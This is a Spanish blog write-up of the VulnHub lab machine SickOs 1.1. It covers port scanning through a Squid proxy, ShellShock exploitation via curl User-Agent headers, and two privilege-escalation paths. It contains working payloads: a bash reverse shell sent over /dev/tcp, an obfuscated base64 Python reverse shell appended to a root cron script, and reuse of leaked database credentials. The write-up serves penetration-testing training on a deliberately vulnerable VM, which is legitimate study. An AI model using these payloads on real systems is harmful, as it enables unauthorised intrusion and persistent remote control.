Saltar al contenido

VulnHub – SickOs: 1.1 – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina SickOs: 1.1 de VulnHub. Es una máquina Linux, de nivel fácil/intermedio donde se explota la vulnerabilidad de ShellShock y posee dos vías para la escalada de privilegios.

A diferencia de TryHackMe o HackTheBox, en VulnHub las máquinas no se explotan en línea si no que hay que descargarlas y montarlas en una máquina virtual local, por ello el primer paso es buscar que IP ha tomado la máquina.

sudo netdiscover -i eth0

Una vez que ya tengo localizada la máquina, ya puedo empezar el pentest.

Enumeración

Comienzo escaneado los 65535 puertos existentes en el protocolo TCP a la velocidad T5 (Insane).

nmap -p- --open -n --min-rate 5000 192.168.71.144 -Pn

En la máquina hay dos puertos abiertos. Escaneo los dos puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,3128 -sC -sV 192.168.71.144 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-09 14:00 CET
Nmap scan report for 192.168.71.144
Host is up (0.00084s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 09:3d:29:a0:da:48:14:c1:65:14:1e:6a:6c:37:04:09 (DSA)
|   2048 84:63:e9:a8:8e:99:33:48:db:f6:d5:81:ab:f2:08:ec (RSA)
|_  256 51:f6:eb:09:f6:b3:e6:91:ae:36:37:0c:c8:ee:34:27 (ECDSA)
3128/tcp open  http-proxy Squid http proxy 3.1.19
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported: GET HEAD
|_http-server-header: squid/3.1.19
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.85 seconds

Me encuentro un proxy de Squid filtrando el tráfico http en el puerto 3128. Seguramente haya otros puertos abiertos que no pueda ver debido al proxy. Accedo al puerto del proxy desde el navegador y me aparece el mensaje de error que confirma que Squid está filtrado el tráfico.

Para saltar el Squid, solo tengo que configurar el proxy de mi navegador (Firefox) hable con el proxy de squid (desvíe todo mi tráfico http a través del proxy).

Accedo a la IP de la máquina desde y llego a la web (puerto 80).

Busco si existe el fichero robots.txt en la web y encuentro un directorio llamado /wolfcms.

Accedo al directorio y llego a una web con el CMS Wolf.

Busco vulnerabilidades en el servidor web con nikto y encuentro que es vulnerable a ShellShock.

nikto -h 192.168.71.144 -useproxy http://192.168.71.144:3128

Explotación

La vulnerabilidad de ShellShock tiene varios códigos, pero para este caso el que afecta es el CVE-2014-6278, y permite ejecutar código de forma remota en los servidores que usan CGI. Para comprobar si verdaderamente le afecta esta vulnerabilidad me dirijo a http://192.168.71.144/cgi-bin/status y compruebo si tengo acceso.

Como tengo acceso, puedo utilizar curl para inyectar comandos en bash en la cabecera de User-Agent. Primero inyecto un comando whoami y, como la respuesta es correcta, inyecto un comando para conseguir una shell reversa por el puerto 7897.

$ curl -x http://192.168.71.144:3128 -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'whoami'" http://192.168.71.144/cgi-bin/status
$ curl -x http://192.168.71.144:3128 -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.71.135/7897 0>&1'" http://192.168.71.144/cgi-bin/status

Escalada de Privilegios

Está máquina tiene dos vías para la escalada de privilegios y, en mi opinión, se diseñó con estas dos vías. La primera es a través de tareas cron y la segunda por privilegios sudo.

Método 1. Cronjobs

Si me dirijo al directorio /var/www/ encuentro un fichero en python llamado connect.py y, al abrirlo veo un mensaje en el que puedo sacar una pista de que es posible que este fichero se ejecute cada cierto tiempo.

Busco en los directorios de las tareas cron y, en /etc/cron.d, encuentro un fichero llamado automate, que ejecuta el fichero connect.py cada poco tiempo. como connect.py se ejecuta como usuario root puedo añadir código malicioso dentro de él para para conseguir una shell reversa cuando se ejecute.

Genero el código con msfvenom para conseguir una shell reversa y pongo un netcat en escucha por el puerto 7897.

msfvenom -p cmd/unix/reverse_python LHOST=192.168.71.135 LPORT=7897 -f raw

Añado el código a connect.py y espero a que se ejecute el fichero.

echo "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAgICAsICAgc3VicHJvY2VzcyAgICAgICAsICAgb3MgICAgICA7ICAgICAgaG9zdD0iMTkyLjE2OC43MS4xMzUiICAgICAgOyAgICAgIHBvcnQ9Nzg5NyAgICAgIDsgICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICAgICAgLCAgIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgICAgcy5jb25uZWN0KChob3N0ICAgICAgICwgICBwb3J0KSkgICAgICA7ICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgICwgICAwKSAgICAgIDsgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgIDEpICAgICAgOyAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAgICAsICAgMikgICAgICA7ICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))" >> connect.py 

Método 2. Sudo

Dentro del directorio del CMS, en la ruta /var/www/wolfcms/ encuentro un fichero de configuración llamado config.php.

En estos ficheros se suelen encontrar credenciales así que lo abro y encuentro unas credenciales root:john@123 para la base de datos wolf.

Viendo los puertos abiertos internamente que hay en la máquina, encuentro el 3306 pero al acceder a la base de datos no encuentro ninguna información relevante.

Enumero los usuarios autenticables que hay en el sistema y veo que solo existen el usuario root y el usuario sickos.

cat /etc/passwd | grep /bin/bash

Pruebo a conectarme a los dos, con la contraseña que he encontrado en config.php, por ssh y me conecto como el usuario sickos.

sshpass -p 'john@123' ssh sickos@192.168.71.144

Ejecuto un sudo -l para enumerar los privilegios de root (los comandos de root) que puedo ejecutar y encuentro que puedo ejecutar cualquier comando (añadiendo la contraseña), por lo que ejecuto sudo para cambiar de usuario y me convierto en usuario root.

sudo -l
sudo su

Flag

Esta máquina solo tiene una flag y se puede encontrar dentro del directorio /root.

Shell Interactiva (tty)

En varios momentos de este pentest, y según el método que se utilice, es necesario convertir la shell a una consola tty. Esto ya lo he realizado anteriormente y, como siempre es igual, puedes ver como conseguirlo en los post de las máquinas Bitlab, Bashed y Haircut.

Publicado enLinuxOSCPVulnHub